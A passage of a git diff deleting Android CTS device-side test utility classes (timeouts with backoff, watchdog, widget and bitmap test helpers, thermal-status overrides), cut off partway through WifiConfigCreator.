-     * Set the Throwable object which is thrown when test running
-     * @param t The Throwable object
-     */
-    public void setThrowable(Throwable t) {
-        mThrowable = t;
-    }
-
-    /**
-     * Wait for the test thread to complete and throw the stored exception if there is one.
-     *
-     * @param runTime The time to wait for the test thread to complete.
-     * @throws Throwable
-     */
-    public void joinAndCheck(long runTime) throws Throwable {
-        this.join(runTime);
-        if (this.isAlive()) {
-            this.interrupt();
-            this.join(runTime);
-            throw new Exception("Thread did not finish within allotted time.");
-        }
-        checkException();
-    }
-
-    /**
-     * Check whether there is an exception when running Runnable object.
-     * @throws Throwable
-     */
-    public void checkException() throws Throwable {
-        if (mThrowable != null) {
-            throw mThrowable;
-        }
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/TestUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/TestUtils.java
deleted file mode 100644
index 3b82cb7..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/TestUtils.java
+++ /dev/null
@@ -1,130 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import static junit.framework.Assert.fail;
-
-import android.os.SystemClock;
-import android.util.Log;
-
-import java.util.function.BooleanSupplier;
-
-public class TestUtils {
-    private static final String TAG = "CtsTestUtils";
-
-    private TestUtils() {
-    }
-
-    public static final int DEFAULT_TIMEOUT_SECONDS = 30;
-
-    /** Print an error log and fail. */
-    public static void failWithLog(String message) {
-        Log.e(TAG, message);
-        fail(message);
-    }
-
-    @FunctionalInterface
-    public interface BooleanSupplierWithThrow {
-        boolean getAsBoolean() throws Exception;
-    }
-
-    @FunctionalInterface
-    public interface RunnableWithThrow {
-        void run() throws Exception;
-    }
-
-    /**
-     * Wait until {@code predicate} is satisfied, or fail, with {@link #DEFAULT_TIMEOUT_SECONDS}.
-     */
-    public static void waitUntil(String message, BooleanSupplierWithThrow predicate)
-            throws Exception {
-        waitUntil(message, 0, predicate);
-    }
-
-    /**
-     * Wait until {@code predicate} is satisfied, or fail, with a given timeout.
-     */
-    public static void waitUntil(
-            String message, int timeoutSecond, BooleanSupplierWithThrow predicate)
-            throws Exception {
-        if (timeoutSecond <= 0) {
-            timeoutSecond = DEFAULT_TIMEOUT_SECONDS;
-        }
-        int sleep = 125;
-        final long timeout = SystemClock.uptimeMillis() + timeoutSecond * 1000;
-        while (SystemClock.uptimeMillis() < timeout) {
-            if (predicate.getAsBoolean()) {
-                return; // okay
-            }
-            Thread.sleep(sleep);
-            sleep *= 5;
-            sleep = Math.min(2000, sleep);
-        }
-        failWithLog("Timeout: " + message);
-    }
-
-    /**
-     * Run a Runnable {@code r}, and if it throws, also run {@code onFailure}.
-     */
-    public static void runWithFailureHook(RunnableWithThrow r, RunnableWithThrow onFailure)
-            throws Exception {
-        if (r == null) {
-            throw new NullPointerException("r");
-        }
-        if (onFailure == null) {
-            throw new NullPointerException("onFailure");
-        }
-        try {
-            r.run();
-        } catch (Throwable th) {
-            Log.e(TAG, "Caught exception: " + th, th);
-            onFailure.run();
-            throw th;
-        }
-    }
-
-    /**
-     * Synchronized wait for a specified condition.
-     *
-     * @param notifyLock Lock that will be notified when the condition might have changed
-     * @param condition The condition to check
-     * @param timeoutMs The timeout in millis
-     * @param conditionName The name to include in the assertion. If null, will be given a default.
-     */
-    public static void waitOn(Object notifyLock, BooleanSupplier condition,
-            long timeoutMs, String conditionName) {
-        if (conditionName == null) conditionName = "condition";
-        if (condition.getAsBoolean()) return;
-
-        synchronized (notifyLock) {
-            try {
-                long timeSlept = 0;
-                while (!condition.getAsBoolean() && timeSlept < timeoutMs) {
-                    long sleepStart = SystemClock.uptimeMillis();
-                    notifyLock.wait(timeoutMs - timeSlept);
-                    timeSlept += SystemClock.uptimeMillis() - sleepStart;
-                }
-                if (!condition.getAsBoolean()) {
-                    throw new AssertionError("Timed out after " + timeSlept
-                            + "ms waiting for: " + conditionName);
-                }
-            } catch (InterruptedException e) {
-                throw new RuntimeException(e);
-            }
-        }
-    }
-}
-
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/TextUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/TextUtils.java
deleted file mode 100644
index cca2652..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/TextUtils.java
+++ /dev/null
@@ -1,77 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import java.util.regex.Pattern;
-
-public class TextUtils {
-    private TextUtils() {
-    }
-
-    /**
-     * Return the first section in {@code source} between the line matches
-     * {@code extractionStartRegex} and the line matches {@code extractionEndRegex}.
-     */
-    public static String extractSection(String source,
-            String extractionStartRegex, boolean startInclusive,
-            String extractionEndRegex, boolean endInclusive) {
-
-        final Pattern start = Pattern.compile(extractionStartRegex);
-        final Pattern end = Pattern.compile(extractionEndRegex);
-
-        final StringBuilder sb = new StringBuilder();
-        final String[] lines = source.split("\\n", -1);
-
-        int i = 0;
-        for (; i < lines.length; i++) {
-            final String line = lines[i];
-            if (start.matcher(line).matches()) {
-                if (startInclusive) {
-                    sb.append(line);
-                    sb.append('\n');
-                }
-                i++;
-                break;
-            }
-        }
-
-        for (; i < lines.length; i++) {
-            final String line = lines[i];
-            if (end.matcher(line).matches()) {
-                if (endInclusive) {
-                    sb.append(line);
-                    sb.append('\n');
-                }
-                break;
-            }
-            sb.append(line);
-            sb.append('\n');
-        }
-        return sb.toString();
-    }
-
-    /**
-     * Creates a string consisted of {@code size} chars {@code c}.
-     */
-    public static String repeat(char c, int size) {
-        StringBuilder builder = new StringBuilder(size);
-        for (int i = 1; i <= size; i++) {
-            builder.append(c);
-        }
-        return builder.toString();
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/ThermalUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/ThermalUtils.java
deleted file mode 100644
index a61ffc1..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/ThermalUtils.java
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.util.Log;
-
-/**
- * Device-side utility class for override/reset thermal status.
- */
-public final class ThermalUtils {
-    private static final String TAG = "CtsThermalUtils";
-
-    private ThermalUtils() {}
-
-    /** Make the target device think it's not throttling. */
-    public static void overrideThermalNotThrottling() throws Exception {
-        overrideThermalStatus(0);
-    }
-
-    /**
-     * Make the target device think it's in given throttling status.
-     * @param status thermal status defined in android.os.Temperature
-     */
-    public static void overrideThermalStatus(int status) throws Exception {
-        SystemUtil.runShellCommandForNoOutput("cmd thermalservice override-status " + status);
-
-        Log.d(TAG, "override-status " + status);
-    }
-
-    /** Cancel the thermal override status on target device. */
-    public static void resetThermalStatus() throws Exception {
-        SystemUtil.runShellCommandForNoOutput("cmd thermalservice reset");
-
-        Log.d(TAG, "reset");
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/ThreadUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/ThreadUtils.java
deleted file mode 100644
index 3948628..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/ThreadUtils.java
+++ /dev/null
@@ -1,27 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import android.os.SystemClock;
-
-public final class ThreadUtils {
-    private ThreadUtils() {
-    }
-
-    public static void sleepUntilRealtime(long realtime) throws Exception {
-        Thread.sleep(Math.max(0, realtime - SystemClock.elapsedRealtime()));
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/ThrowingRunnable.java b/common/device-side/util/src/com/android/compatibility/common/util/ThrowingRunnable.java
deleted file mode 100644
index 0588cff..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/ThrowingRunnable.java
+++ /dev/null
@@ -1,26 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-/**
- * Similar to {@link Runnable} but has {@code throws Exception}.
- */
-public interface ThrowingRunnable {
-    /**
-     * Similar to {@link Runnable#run} but has {@code throws Exception}.
-     */
-    void run() throws Exception;
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/Timeout.java b/common/device-side/util/src/com/android/compatibility/common/util/Timeout.java
deleted file mode 100644
index 9ac6323..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/Timeout.java
+++ /dev/null
@@ -1,202 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import android.os.SystemClock;
-import android.text.TextUtils;
-import android.util.Log;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.VisibleForTesting;
-
-import java.util.concurrent.Callable;
-
-/**
- * A "smart" timeout that supports exponential backoff.
- */
-//TODO: move to common CTS Code
-public final class Timeout {
-
-    private static final String TAG = "Timeout";
-    private static final boolean VERBOSE = true;
-
-    private final String mName;
-    private long mCurrentValue;
-    private final float mMultiplier;
-    private final long mMaxValue;
-
-    private final Sleeper mSleeper;
-
-    private static final Sleeper DEFAULT_SLEEPER = (t) -> SystemClock.sleep(t);
-
-    /**
-     * Default constructor.
-     *
-     * @param name name to be used for logging purposes.
-     * @param initialValue initial timeout value, in ms.
-     * @param multiplier multiplier for {@link #increase()}.
-     * @param maxValue max timeout value (in ms) set by {@link #increase()}.
-     *
-     * @throws IllegalArgumentException if {@code name} is {@code null} or empty,
-     * {@code initialValue}, {@code multiplir} or {@code maxValue} are less than {@code 1},
-     * or if {@code initialValue} is higher than {@code maxValue}
-     */
-    public Timeout(String name, long initialValue, float multiplier, long maxValue) {
-        this(DEFAULT_SLEEPER, name, initialValue, multiplier, maxValue);
-    }
-
-    @VisibleForTesting
-    Timeout(@NonNull Sleeper sleeper, String name, long initialValue, float multiplier,
-            long maxValue) {
-        if (initialValue < 1 || maxValue < 1 || initialValue > maxValue) {
-            throw new IllegalArgumentException(
-                    "invalid initial and/or max values: " + initialValue + " and " + maxValue);
-        }
-        if (multiplier <= 1) {
-            throw new IllegalArgumentException("multiplier must be higher than 1: " + multiplier);
-        }
-        if (TextUtils.isEmpty(name)) {
-            throw new IllegalArgumentException("no name");
-        }
-        mSleeper = sleeper;
-        mName = name;
-        mCurrentValue = initialValue;
-        mMultiplier = multiplier;
-        mMaxValue = maxValue;
-        Log.d(TAG, "Constructor: " + this + " at " + TestNameUtils.getCurrentTestName());
-    }
-
-    /**
-     * Gets the current timeout, in ms.
-     */
-    public long ms() {
-        return mCurrentValue;
-    }
-
-    /**
-     * Gets the max timeout, in ms.
-     */
-    public long getMaxValue() {
-        return mMaxValue;
-    }
-
-    /**
-     * @return the mMultiplier
-     */
-    public float getMultiplier() {
-        return mMultiplier;
-    }
-
-    /**
-     * Gets the user-friendly name of this timeout.
-     */
-    @NonNull
-    public String getName() {
-        return mName;
-    }
-
-    /**
-     * Increases the current value by the {@link #getMultiplier()}, up to {@link #getMaxValue()}.
-     *
-     * @return previous current value.
-     */
-    public long increase() {
-        final long oldValue = mCurrentValue;
-        mCurrentValue = Math.min(mMaxValue, (long) (mCurrentValue * mMultiplier));
-        if (oldValue != mCurrentValue) {
-            Log.w(TAG, mName + " increased from " + oldValue + "ms to " + mCurrentValue + "ms at "
-                    + TestNameUtils.getCurrentTestName());
-        }
-        return oldValue;
-    }
-
-    /**
-     * Runs a {@code job} many times before giving up, sleeping between failed attempts up to
-     * {@link #ms()}.
-     *
-     * @param description description of the job for logging purposes.
-     * @param job job to be run, must return {@code null} if it failed and should be retried.
-     * @throws RetryableException if all attempts failed.
-     * @throws IllegalArgumentException if {@code description} is {@code null} or empty, if
-     * {@code job} is {@code  null}, or if {@code maxAttempts} is less than 1.
-     * @throws Exception any other exception thrown by helper methods.
-     *
-     * @return job's result.
-     */
-    public <T> T run(String description, Callable<T> job) throws Exception {
-        return run(description, 100, job);
-    }
-
-    /**
-     * Runs a {@code job} many times before giving up, sleeping between failed attempts up to
-     * {@link #ms()}.
-     *
-     * @param description description of the job for logging purposes.
-     * @param job job to be run, must return {@code null} if it failed and should be retried.
-     * @param retryMs how long to sleep between failures.
-     * @throws RetryableException if all attempts failed.
-     * @throws IllegalArgumentException if {@code description} is {@code null} or empty, if
-     * {@code job} is {@code  null}, or if {@code maxAttempts} is less than 1.
-     * @throws Exception any other exception thrown by helper methods.
-     *
-     * @return job's result.
-     */
-    public <T> T run(String description, long retryMs, Callable<T> job) throws Exception {
-        if (TextUtils.isEmpty(description)) {
-            throw new IllegalArgumentException("no description");
-        }
-        if (job == null) {
-            throw new IllegalArgumentException("no job");
-        }
-        if (retryMs < 1) {
-            throw new IllegalArgumentException("need to sleep at least 1ms, right?");
-        }
-        long startTime = SystemClock.elapsedRealtime();
-        int attempt = 0;
-        long totalSlept = 0;
-        while (SystemClock.elapsedRealtime() - startTime <= mCurrentValue) {
-            final T result = job.call();
-            if (result != null) {
-                // Good news, everyone: job succeeded on first attempt!
-                return result;
-            }
-            attempt++;
-            final long napTime = Math.min(retryMs, mCurrentValue - totalSlept);
-            if (VERBOSE) {
-                Log.v(TAG, description + " failed at attempt #" + attempt + "; sleeping for "
-                        + napTime + "ms before trying again");
-            }
-            mSleeper.sleep(napTime);
-            totalSlept += napTime;
-
-            retryMs *= mMultiplier;
-        }
-        Log.w(TAG, description + " failed after " + attempt + " attempts and " + totalSlept + "ms: "
-                + this);
-        throw new RetryableException(this, description);
-    }
-
-    @Override
-    public String toString() {
-        return mName + ": [current=" + mCurrentValue + "ms; multiplier=" + mMultiplier + "x; max="
-                + mMaxValue + "ms]";
-    }
-
-    @VisibleForTesting
-    interface Sleeper {
-        void sleep(long napTimeMs);
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/Visitor.java b/common/device-side/util/src/com/android/compatibility/common/util/Visitor.java
deleted file mode 100644
index ab4bbfb..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/Visitor.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import androidx.annotation.NonNull;
-
-/**
- * Implements the Visitor design pattern
- *
- * @param <V> visited object
- */
-public interface Visitor<V> {
-
-    /**
-     * Visit that object.
-     */
-    void visit(@NonNull V visited);
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/WatchDog.java b/common/device-side/util/src/com/android/compatibility/common/util/WatchDog.java
deleted file mode 100644
index efcc693..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/WatchDog.java
+++ /dev/null
@@ -1,103 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import java.util.concurrent.Semaphore;
-import java.util.concurrent.TimeUnit;
-
-import android.util.Log;
-
-import junit.framework.Assert;
-
-/**
- * class for checking if rendering function is alive or not.
- * panic if watch-dog is not reset over certain amount of time
- */
-public class WatchDog implements Runnable {
-    private static final String TAG = "WatchDog";
-    private Thread mThread;
-    private Semaphore mSemaphore;
-    private volatile boolean mStopRequested;
-    private final long mTimeoutInMilliSecs;
-    private TimeoutCallback mCallback = null;
-
-    public WatchDog(long timeoutInMilliSecs) {
-        mTimeoutInMilliSecs = timeoutInMilliSecs;
-    }
-
-    public WatchDog(long timeoutInMilliSecs, TimeoutCallback callback) {
-        this(timeoutInMilliSecs);
-        mCallback = callback;
-    }
-
-    /** start watch-dog */
-    public void start() {
-        Log.i(TAG, "start");
-        mStopRequested = false;
-        mSemaphore = new Semaphore(0);
-        mThread = new Thread(this);
-        mThread.start();
-    }
-
-    /** stop watch-dog */
-    public void stop() {
-        Log.i(TAG, "stop");
-        if (mThread == null) {
-            return; // already finished
-        }
-        mStopRequested = true;
-        mSemaphore.release();
-        try {
-            mThread.join();
-        } catch (InterruptedException e) {
-            // ignore
-        }
-        mThread = null;
-        mSemaphore = null;
-    }
-
-    /** resets watch-dog, thus prevent it from panic */
-    public void reset() {
-        if (!mStopRequested) { // stop requested, but rendering still on-going
-            mSemaphore.release();
-        }
-    }
-
-    @Override
-    public void run() {
-        while (!mStopRequested) {
-            try {
-                boolean success = mSemaphore.tryAcquire(mTimeoutInMilliSecs, TimeUnit.MILLISECONDS);
-                if (mCallback == null) {
-                    Assert.assertTrue("Watchdog timed-out", success);
-                } else if (!success) {
-                    mCallback.onTimeout();
-                }
-            } catch (InterruptedException e) {
-                // this thread will not be interrupted,
-                // but if it happens, just check the exit condition.
-            }
-        }
-    }
-
-    /**
-     * Called by the Watchdog when it has timed out.
-     */
-    public interface TimeoutCallback {
-
-        public void onTimeout();
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/WidgetTestUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/WidgetTestUtils.java
deleted file mode 100644
index 2f2b8f7..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/WidgetTestUtils.java
+++ /dev/null
@@ -1,312 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import static android.view.ViewTreeObserver.OnDrawListener;
-import static android.view.ViewTreeObserver.OnGlobalLayoutListener;
-
-import static org.mockito.hamcrest.MockitoHamcrest.argThat;
-
-import android.content.Context;
-import android.content.res.Resources;
-import android.graphics.Bitmap;
-import android.graphics.BitmapFactory;
-import android.support.test.rule.ActivityTestRule;
-import android.text.Editable;
-import android.text.TextUtils;
-import android.view.View;
-import android.view.ViewTreeObserver;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-
-import junit.framework.Assert;
-
-import org.hamcrest.BaseMatcher;
-import org.hamcrest.Description;
-import org.xmlpull.v1.XmlPullParser;
-import org.xmlpull.v1.XmlPullParserException;
-
-import java.io.IOException;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * The useful methods for widget test.
- */
-public class WidgetTestUtils {
-    /**
-     * Assert that two bitmaps have identical content (same dimensions, same configuration,
-     * same pixel content).
-     *
-     * @param b1 the first bitmap which needs to compare.
-     * @param b2 the second bitmap which needs to compare.
-     */
-    public static void assertEquals(Bitmap b1, Bitmap b2) {
-        if (b1 == b2) {
-            return;
-        }
-
-        if (b1 == null || b2 == null) {
-            Assert.fail("the bitmaps are not equal");
-        }
-
-        // b1 and b2 are all not null.
-        if (b1.getWidth() != b2.getWidth() || b1.getHeight() != b2.getHeight()
-            || b1.getConfig() != b2.getConfig()) {
-            Assert.fail("the bitmaps are not equal");
-        }
-
-        int w = b1.getWidth();
-        int h = b1.getHeight();
-        int s = w * h;
-        int[] pixels1 = new int[s];
-        int[] pixels2 = new int[s];
-
-        b1.getPixels(pixels1, 0, w, 0, 0, w, h);
-        b2.getPixels(pixels2, 0, w, 0, 0, w, h);
-
-        for (int i = 0; i < s; i++) {
-            if (pixels1[i] != pixels2[i]) {
-                Assert.fail("the bitmaps are not equal");
-            }
-        }
-    }
-
-    /**
-     * Find beginning of the special element.
-     * @param parser XmlPullParser will be parsed.
-     * @param firstElementName the target element name.
-     *
-     * @throws XmlPullParserException if XML Pull Parser related faults occur.
-     * @throws IOException if I/O-related error occur when parsing.
-     */
-    public static final void beginDocument(XmlPullParser parser, String firstElementName)
-            throws XmlPullParserException, IOException {
-        Assert.assertNotNull(parser);
-        Assert.assertNotNull(firstElementName);
-
-        int type;
-        while ((type = parser.next()) != XmlPullParser.START_TAG
-                && type != XmlPullParser.END_DOCUMENT) {
-            ;
-        }
-
-        if (!parser.getName().equals(firstElementName)) {
-            throw new XmlPullParserException("Unexpected start tag: found " + parser.getName()
-                    + ", expected " + firstElementName);
-        }
-    }
-
-    /**
-     * Compare the expected pixels with actual, scaling for the target context density
-     *
-     * @throws AssertionFailedError
-     */
-    public static void assertScaledPixels(int expected, int actual, Context context) {
-        Assert.assertEquals(expected * context.getResources().getDisplayMetrics().density,
-                actual, 3);
-    }
-
-    /** Converts dips into pixels using the {@link Context}'s density. */
-    public static int convertDipToPixels(Context context, int dip) {
-      float density = context.getResources().getDisplayMetrics().density;
-      return Math.round(density * dip);
-    }
-
-    /**
-     * Retrieve a bitmap that can be used for comparison on any density
-     * @param resources
-     * @return the {@link Bitmap} or <code>null</code>
-     */
-    public static Bitmap getUnscaledBitmap(Resources resources, int resId) {
-        BitmapFactory.Options options = new BitmapFactory.Options();
-        options.inScaled = false;
-        return BitmapFactory.decodeResource(resources, resId, options);
-    }
-
-    /**
-     * Retrieve a dithered bitmap that can be used for comparison on any density
-     * @param resources
-     * @param config the preferred config for the returning bitmap
-     * @return the {@link Bitmap} or <code>null</code>
-     */
-    public static Bitmap getUnscaledAndDitheredBitmap(Resources resources,
-            int resId, Bitmap.Config config) {
-        BitmapFactory.Options options = new BitmapFactory.Options();
-        options.inDither = true;
-        options.inScaled = false;
-        options.inPreferredConfig = config;
-        return BitmapFactory.decodeResource(resources, resId, options);
-    }
-
-    /**
-     * Argument matcher for equality check of a CharSequence.
-     *
-     * @param expected expected CharSequence
-     *
-     * @return
-     */
-    public static CharSequence sameCharSequence(final CharSequence expected) {
-        return argThat(new BaseMatcher<CharSequence>() {
-            @Override
-            public boolean matches(Object o) {
-                if (o instanceof CharSequence) {
-                    return TextUtils.equals(expected, (CharSequence) o);
-                }
-                return false;
-            }
-
-            @Override
-            public void describeTo(Description description) {
-                description.appendText("doesn't match " + expected);
-            }
-        });
-    }
-
-    /**
-     * Argument matcher for equality check of an Editable.
-     *
-     * @param expected expected Editable
-     *
-     * @return
-     */
-    public static Editable sameEditable(final Editable expected) {
-        return argThat(new BaseMatcher<Editable>() {
-            @Override
-            public boolean matches(Object o) {
-                if (o instanceof Editable) {
-                    return TextUtils.equals(expected, (Editable) o);
-                }
-                return false;
-            }
-
-            @Override
-            public void describeTo(Description description) {
-                description.appendText("doesn't match " + expected);
-            }
-        });
-    }
-
-    /**
-     * Runs the specified {@link Runnable} on the main thread and ensures that the specified
-     * {@link View}'s tree is drawn before returning.
-     *
-     * @param activityTestRule the activity test rule used to run the test
-     * @param view the view whose tree should be drawn before returning
-     * @param runner the runnable to run on the main thread, or {@code null} to
-     *               simply force invalidation and a draw pass
-     */
-    public static void runOnMainAndDrawSync(@NonNull final ActivityTestRule activityTestRule,
-            @NonNull final View view, @Nullable final Runnable runner) {
-        final CountDownLatch latch = new CountDownLatch(1);
-
-        try {
-            activityTestRule.runOnUiThread(() -> {
-                final OnDrawListener listener = new OnDrawListener() {
-                    @Override
-                    public void onDraw() {
-                        // posting so that the sync happens after the draw that's about to happen
-                        view.post(() -> {
-                            activityTestRule.getActivity().getWindow().getDecorView()
-                                    .getViewTreeObserver().removeOnDrawListener(this);
-                            latch.countDown();
-                        });
-                    }
-                };
-
-                activityTestRule.getActivity().getWindow().getDecorView()
-                        .getViewTreeObserver().addOnDrawListener(listener);
-
-                if (runner != null) {
-                    runner.run();
-                }
-                view.invalidate();
-            });
-
-            Assert.assertTrue("Expected draw pass occurred within 5 seconds",
-                    latch.await(5, TimeUnit.SECONDS));
-        } catch (Throwable t) {
-            throw new RuntimeException(t);
-        }
-    }
-
-    /**
-     * Runs the specified Runnable on the main thread and ensures that the activity's view tree is
-     * laid out before returning.
-     *
-     * @param activityTestRule the activity test rule used to run the test
-     * @param runner the runnable to run on the main thread. {@code null} is
-     * allowed, and simply means that there no runnable is required.
-     * @param forceLayout true if there should be an explicit call to requestLayout(),
-     * false otherwise
-     */
-    public static void runOnMainAndLayoutSync(@NonNull final ActivityTestRule activityTestRule,
-            @Nullable final Runnable runner, boolean forceLayout)
-            throws Throwable {
-        runOnMainAndLayoutSync(activityTestRule,
-                activityTestRule.getActivity().getWindow().getDecorView(), runner, forceLayout);
-    }
-
-    /**
-     * Runs the specified Runnable on the main thread and ensures that the specified view is
-     * laid out before returning.
-     *
-     * @param activityTestRule the activity test rule used to run the test
-     * @param view The view
-     * @param runner the runnable to run on the main thread. {@code null} is
-     * allowed, and simply means that there no runnable is required.
-     * @param forceLayout true if there should be an explicit call to requestLayout(),
-     * false otherwise
-     */
-    public static void runOnMainAndLayoutSync(@NonNull final ActivityTestRule activityTestRule,
-            @NonNull final View view, @Nullable final Runnable runner, boolean forceLayout)
-            throws Throwable {
-        final View rootView = view.getRootView();
-
-        final CountDownLatch latch = new CountDownLatch(1);
-
-        activityTestRule.runOnUiThread(() -> {
-            final OnGlobalLayoutListener listener = new ViewTreeObserver.OnGlobalLayoutListener() {
-                @Override
-                public void onGlobalLayout() {
-                    rootView.getViewTreeObserver().removeOnGlobalLayoutListener(this);
-                    // countdown immediately since the layout we were waiting on has happened
-                    latch.countDown();
-                }
-            };
-
-            rootView.getViewTreeObserver().addOnGlobalLayoutListener(listener);
-
-            if (runner != null) {
-                runner.run();
-            }
-
-            if (forceLayout) {
-                rootView.requestLayout();
-            }
-        });
-
-        try {
-            Assert.assertTrue("Expected layout pass within 5 seconds",
-                    latch.await(5, TimeUnit.SECONDS));
-        } catch (InterruptedException e) {
-            throw new RuntimeException(e);
-        }
-    }
-
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/WifiConfigCreator.java b/common/device-side/util/src/com/android/compatibility/common/util/WifiConfigCreator.java
deleted file mode 100755
index f2d1f65..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/WifiConfigCreator.java
+++ /dev/null
@@ -1,258 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import static android.net.wifi.WifiManager.EXTRA_WIFI_STATE;
-import static android.net.wifi.WifiManager.WIFI_STATE_ENABLED;
-
-import android.content.BroadcastReceiver;
-import android.content.Context;
